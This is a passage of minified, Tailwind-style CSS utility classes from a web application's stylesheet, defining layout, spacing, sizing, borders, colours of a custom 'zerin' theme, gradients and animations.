1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\],.-inset-px{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-2{right:.5rem}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-2{top:.5rem}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.mt-px{margin-top:1px}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-36{height:9rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[80vh\]{min-height:80vh}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-80{width:20rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-none{flex:none}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.cursor-wait{cursor:wait}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\],.gap-px{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.divide-zerin-panel-border\/50>:not([hidden])~:not([hidden]){border-color:#1f1f2380}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre{white-space:pre}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/30{border-color:#10b9814d}.border-emerald-500\/40{border-color:#10b98166}.border-orange-500\/20{border-color:#f9731633}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zerin-panel-border-hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.border-zerin-panel-border\/50{border-color:#1f1f2380}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0A0A0C\]{--tw-bg-opacity: 1;background-color:rgb(10 10 12 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-400\/10{background-color:#fbbf241a}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500{--tw-bg-opacity: 1;background-color:rgb(249 115 22 / var(--tw-bg-opacity, 1))}.bg-orange-500\/10{background-color:#f973161a}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent-muted\/40{background-color:#06b6d466}.bg-zerin-accent-muted\/60{background-color:#06b6d499}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-accent\/\[0\.03\]{background-color:#06b6d408}.bg-zerin-accent\/\[0\.04\]{background-color:#06b6d40a}.bg-zerin-accent\/\[0\.06\]{background-color:#06b6d40f}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-bg\/50{background-color:#09090b80}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/50{background-color:#11111380}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-panel\/95{background-color:#111113f2}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) 